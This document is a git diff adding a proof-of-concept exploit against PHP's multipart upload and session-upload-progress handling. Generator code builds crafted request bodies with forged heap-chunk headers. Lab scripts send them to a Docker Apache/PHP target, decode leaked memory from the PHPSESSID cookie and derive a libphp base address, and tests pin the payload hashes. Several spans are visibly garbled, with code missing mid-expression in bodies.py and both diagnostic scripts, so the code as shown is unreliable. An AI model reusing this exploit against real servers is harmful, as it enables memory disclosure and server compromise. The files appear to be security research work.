diff --git a/poc/bodies.py b/poc/bodies.py new file mode 100644 index 0000000..56db9f8 --- /dev/null +++ b/poc/bodies.py @@ -0,0 +1,120 @@ +import struct + +BOUNDARY = b"C" * 10 + + +def nest_name(i, depth, key_pad): + if depth < 2: + raise ValueError("depth must be >= 2") + return ("files[R%05d%s]" % (i, "K" * key_pad)).encode() + b"[a]" * (depth - 2) + + +def _part(out, b, name, value=b"", filename=None, ctype=None): + out.extend(b"--" + b + b"\r\nContent-Disposition: form-data; name=\"" + name + b"\"") + if filename is not None: + out.extend(b"; filename=\"" + filename + b"\"") + out.extend(b"\r\n") + if ctype is not None: + out.extend(b"Content-Type: " + ctype + b"\r\n") + out.extend(b"\r\n" + value + b"\r\n") + + +def build_a1(cfg, boundary=BOUNDARY): + out = bytearray() + _part(out, boundary, b"PHPSESSID", bytes.fromhex(cfg.get("sid_hex", "00"))) + for i in range(cfg["parts"]): + if i == 0: + ctype, fname = b"C" * 103, b"A" + elif i == 1: + ctype, fname = b"C" * 231, b"A" + else: + ctype, fname = b"application/octet-stream", b"" + out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" + + nest_name(i, cfg["depth"], cfg["key_pad"]) + b"\"") + out.extend(b"; filename=\"" + fname + b"\"\r\nContent-Type: " + ctype + b"\r\n\r\n") + for i in range(cfg["fillers128"]): + _part(out, boundary, ("f%04d" % i).encode().ljust(103, b"x")[:103], b"v" * 8) + for i in range(cfg["big"]): + _part(out, boundary, ("b%04d" % i).encode(), b"B" * cfg["big_len"]) + for i in range(cfg["burners"]): + _part(out, boundary, ("u%02d" % i).encode(), b"U" * cfg["burner_len"]) + _part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"k" * cfg["progress_len"]) + for i in range(cfg.get("tail", 0)): + name = ("t%02d" % i).encode().ljust(35, b"t")[:35] + _part(out, boundary, name, b"T" * 35) + out.extend(b"--" + boundary + b"--\r\n") + return bytes(out) + + +def build_a2(cfg, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY): + out = bytearray() + _part(out, boundary, b"PHPSESSID", sid) + _part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress) + for i in range(cfg["fillers"]): + _part(out, boundary, ("%03d" % i).encode(), b"x") + for i in range(cfg["parts"]): + out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" + + nest_name(i, cfg["depth"], cfg.get("key_pad", 0)) + + b"\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n") + out.extend(b"--" + boundary + b"--\r\n") + return bytes(out) + + +def _tag8(idx, tagged): + if tagged: + return b"/" + ("%02d" % (idx % 100)).encode() + b"BBBBB" + return b"BBBB/BBB" + + +def _forge_fill(pages, page, fake_len, idx, tagged): + length = pages * 4096 - 25 + v = bytearray(b"A" * length) + hdr = page * 0x1000 - 0x1018 + if 0 <= hdr and hdr + 0x20 <= length: + struct.pack_into(" libphp=%#x" % (name, (top_q - off) & 0xFFFFFFFFFFFFFFFF)) diff --git a/research/capture_golden.py b/research/capture_golden.py new file mode 100644 index 0000000..8ee78dd --- /dev/null +++ b/research/capture_golden.py @@ -0,0 +1,44 @@ +import hashlib +import json +import os +import subprocess +import sys + +HERE = os.path.dirname(os.path.abspath(__file__)) +PURE = os.path.join(HERE, "upstream", "pure") +CAP = os.path.join(HERE, "captures") +os.makedirs(CAP, exist_ok=True) + +SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) + +targets = {} + +a1 = os.path.join(CAP, "up_a1.bin") +subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), + "--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL) +targets["a1"] = a1 + +a2 = os.path.join(CAP, "up_a2.bin") +sys.path.insert(0, PURE) +import cheap_oom_a # noqa: E402 + +body = cheap_oom_a.build_body(880, 64, 115, b"a" * 32, b"k0", b"C" * 10) +open(a2, "wb").write(body) +targets["a2"] = a2 + +b1 = os.path.join(CAP, "up_b1.bin") +subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), + "--out", b1, "--spec", SPEC, "--fake-len", "0xC8000", "--tag"], + check=True, stdout=subprocess.DEVNULL) +targets["b1"] = b1 + +golden = {} +for key, path in targets.items(): + data = open(path, "rb").read() + golden[key] = hashlib.sha256(data).hexdigest() + print("%s bytes=%d sha256=%s" % (key, len(data), golden[key])) + +out = os.path.join(HERE, "..", "tests", "golden", "bodies.json") +os.makedirs(os.path.dirname(out), exist_ok=True) +json.dump(golden, open(out, "w"), indent=2) +print("wrote", os.path.abspath(out)) diff --git a/research/diag2.py b/research/diag2.py new file mode 100644 index 0000000..a1ab8d7 --- /dev/null +++ b/research/diag2.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python +import os +import socket +import struct +import subprocess +import sys +import time +import urllib.parse +from collections import Counter + +HERE = os.path.dirname(os.path.abspath(__file__)) +PURE = os.path.join(HERE, "upstream", "pure") +PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110 +NAME = sys.argv[2] if len(sys.argv) > 2 else "p2s-lab" +CAP = os.path.join(HERE, "captures") +os.makedirs(CAP, exist_ok=True) + +LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) + + +def sh(cmd): + return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip() + + +def workers(): + return sh('docker exec %s sh -c "pgrep -f apache2 | tr \'\\n\' \' \'"' % NAME) + + +def warm(): + s = socket.create_connection(("127.0.0.1", PORT), timeout=5) + s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n") + s.recv(1024) + s.close() + + +def send(body_file, path, chunked, save=""): + cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), + "--port", str(PORT), "--body-file", body_file, + "--path", path, "--timeout", "300"] + if save: + cmd += ["--save-response", save] + subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) + return open(save, "rb").read() if save else b"" + + +def step(label, body, path, chunked): + print("[%s] workers_before=%s" % (label, workers())) + t0 = time.time() + save = os.path.join(CAP, "diag_%s.resp" % label) + if chunked: + resp = send(body, path, True, save) + else: + t0 = time.time() + resp = send(body, path, False, save) + print("[%s] %.2fs resp=%d status=%r workers_after=%s" % ( + label, time.time() - t0, len(resp), + resp.split(b"\r\n", 1)[0][:70], workers())) + return resp + + +os.makedirs(CAP, exist_ok=True) +print("restarting", NAME) +sh("docker restart %s" % NAME) +time.sleep(2.0) +print("ready:", sh('curl -s -m 5 http://127.0.0.1:%d/index.php' % PORT)) +warm() +print("workers warm=%s" % workers()) + +a1 = os.path.join(CAP, "diag_a1.bin") +subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1, + "--big", "78"], check=True, stdout=subprocess.DEVNULL) +print("a1 bytes=%d" % os.path.getsize(a1)) +step("a1", a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v", True) + +b1 = os.path.join(CAP, "diag_b1.bin") +subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1, + "--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"], + check=True, stdout=subprocess.DEVNULL) +print("b1 bytes=%d" % os.path.getsize(b1)) +resp = step("b1", b1, "/index.php", True) + +i = resp.find(b"Set-Cookie: PHPSESSID=") +print("set-cookie at=%d" % i) +if i < 0: + print("head:", resp[:400]) + raise SystemExit(1) +val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] +dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) +print("raw=%d decoded=%d" % (len(val), len(dec))) +open(os.path.join(CAP, "diag_decoded.bin"), "wb").write(dec) + +hist = Counter() +top = Counter() +for off in range(0, len(dec) - 7, 8): + q = struct.unpack_from("> 40] += 1 + if q: + top[q] += 1 +print("high-byte hist:", [(hex(k << 40), v) for k, v in hist.most_common(6)]) +print("top qwords:") +for q, c in top.most_common(6): + print(" %#018x x%d" % (q, c)) +print("0x7f range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF)) +print("ascii head:", dec[:150].decode("latin1").replace("\x00", ".")) +print("byte histogram top:", Counter(dec).most_common(6)) diff --git a/research/diag_leak.py b/research/diag_leak.py new file mode 100644 index 0000000..036b4a7 --- /dev/null +++ b/research/diag_leak.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +import os +import struct +import subprocess +import sys +import urllib.parse +from collections import Counter + +HERE = os.path.dirname(os.path.abspath(__file__)) +UP = os.path.join(HERE, "upstream") +PURE = os.path.join(UP, "pure") +sys.path.insert(0, PURE) + +import chunked_send # noqa: E402 +import mk_leak_b # noqa: E402 + +PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110 +LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) + + +def send_chunked(body_file, path="/index.php", save=""): + cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), + "--port", str(PORT), "--body-file", body_file, + "--path", path, "--timeout", "300"] + if save: + cmd += ["--save-response", save] + subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) + return open(save, "rb").read() if save else b"" + + +tmp = os.path.join(HERE, "captures") +os.makedirs(tmp, exist_ok=True) + +a1 = os.path.join(tmp, "diag_a1.bin") +subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), + "--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL) +print("a1 bytes=%d" % os.path.getsize(a1)) +send_chunked(a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v") + +b1 = os.path.join(tmp, "diag_b1.bin") +subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), + "--out", b1, "--spec", LEAK_SPEC, + "--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL) +resp = send_chunked(b1, "/index.php", os.path.join(tmp, "diag_leak.resp")) +print("resp bytes=%d" % len(resp)) +print("status=%r" % resp.split(b"\r\n", 1)[0][:80]) + +i = resp.find(b"Set-Cookie: PHPSESSID=") +print("set-cookie at=%d" % i) +if i < 0: + print(resp[:600]) + raise SystemExit(1) +val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] +print("raw cookie bytes=%d" % len(val)) +dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) +print("decoded=%d" % len(dec)) +open(os.path.join(tmp, "diag_decoded.bin"), "wb").write(dec) + +hist = Counter() +top = Counter() +for off in range(0, len(dec) - 7, 8): + q = struct.unpack_from("> 40] += 1 + if q: + top[q] += 1 +print("qword high-byte histogram:", [(hex(k << 40), v) for k, v in hist.most_common(8)]) +print("top nonzero qwords:") +for q, c in top.most_common(8): + print(" %#018x x%d" % (q, c)) +print("count 0x7f-range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF)) +print("count canon-user :", sum(c for q, c in top.items() if 0x1000000000 <= q <= 0x7FFFFFFFFFFF)) +print("first 64 bytes:", dec[:64]) +print("ascii head:", dec[:120].decode("latin1").replace("\x00", ".")) diff --git a/tests/golden/bodies.json b/tests/golden/bodies.json new file mode 100644 index 0000000..60c5249 --- /dev/null +++ b/tests/golden/bodies.json @@ -0,0 +1,5 @@ +{ + "a1": "8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6", + "a2": "7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236", + "b1": "b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2" +} \ No newline at end of file diff --git a/tests/test_bodies_parity.py b/tests/test_bodies_parity.py new file mode 100644 index 0000000..a05e3e1 --- /dev/null +++ b/tests/test_bodies_parity.py @@ -0,0 +1,73 @@ +import hashlib +import json +import os +import unittest + +from poc import bodies, profiles + +GOLDEN = os.path.join(os.path.dirname(__file__), "golden", "bodies.json") +_, PROF = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c") + + +class BodiesTest(unittest.TestCase): + def test_a1_shape(self): + body = bodies.build_a1(PROF["a1"]) + self.assertTrue(body.startswith( + b"--CCCCCCCCCC\r\nContent-Disposition: form-data; name=\"PHPSESSID\"")) + self.assertEqual(body.count(b"--CCCCCCCCCC\r\n"), 1 + 860 + 14 + 78 + 20 + 1) + self.assertTrue(body.endswith(b"--CCCCCCCCCC--\r\n")) + self.assertTrue(b"name=\"PHP_SESSION_UPLOAD_PROGRESS\"" in body) + self.assertTrue(b"files[R00000" + b"K" * 90 + b"]" in body) + self.assertEqual(body.count(b"; filename=\"A\""), 2) + + def test_a1_mixed_content_types(self): + body = bodies.build_a1(PROF["a1"]) + self.assertTrue(b"\r\nContent-Type: " + b"C" * 103 + b"\r\n" in body) + self.assertTrue(b"\r\nContent-Type: " + b"C" * 231 + b"\r\n" in body) + + def test_a2_shape(self): + body = bodies.build_a2(PROF["a2"]) + self.assertTrue(body.startswith( + b"--CCCCCCCCCC\r\nContent-Disposition: form-data; name=\"PHPSESSID\"")) + self.assertEqual(body.count(b"name=\"files[R"), 880) + self.assertEqual(body.count(b"; filename=\"\""), 880) + self.assertTrue(b"name=\"000\"" in body) + self.assertTrue(b"name=\"114\"" in body) + self.assertTrue(b"name=\"115\"" not in body) + + def test_b1_forged_placement(self): + body = bodies.build_b1(PROF["leak_spec"], PROF["fake_len"], tag=True) + self.assertTrue(b"name=\"PHP_SESSION_UPLOAD_PROGRESS\"" in body) + self.assertEqual(body.count(b"name=\"x"), 900) + self.assertTrue(b"; filename" not in body) + self.assertEqual(body.count(b'name="f'), 16) + + def test_b1_fake_header_offsets(self): + fake_len = PROF["fake_len"] + value = bodies._forge_value(0x137, fake_len, 0, True) + hdr = 0x137 * 0x1000 - 0x1018 + self.assertEqual(len(value), hdr + 0x20) + self.assertEqual(int.from_bytes(value[hdr + 0x04:hdr + 0x08], "little"), 0x16) + self.assertEqual(int.from_bytes(value[hdr + 0x10:hdr + 0x18], "little"), fake_len) + self.assertEqual(value[hdr + 0x18], ord("/")) + + @unittest.skipUnless(os.path.exists(GOLDEN), "golden/bodies.json not generated") + def test_golden_a1(self): + with open(GOLDEN) as fh: + golden = json.load(fh) + got = hashlib.sha256(bodies.build_a1(PROF["a1"])).hexdigest() + self.assertEqual(got, golden["a1"]) + + @unittest.skipUnless(os.path.exists(GOLDEN), "golden/bodies.json not generated") + def test_golden_a2(self): + with open(GOLDEN) as fh: + golden = json.load(fh) + got = hashlib.sha256(bodies.build_a2(PROF["a2"])).hexdigest() + self.assertEqual(got, golden["a2"]) + + @unittest.skipUnless(os.path.exists(GOLDEN), "golden/bodies.json not generated") + def test_golden_b1(self): + with open(GOLDEN) as fh: + golden = json.load(fh) + got = hashlib.sha256(bodies.build_b1(PROF["leak_spec"], PROF["fake_len"], tag=True)).hexdigest() + self.assertEqual(got, golden["b1"])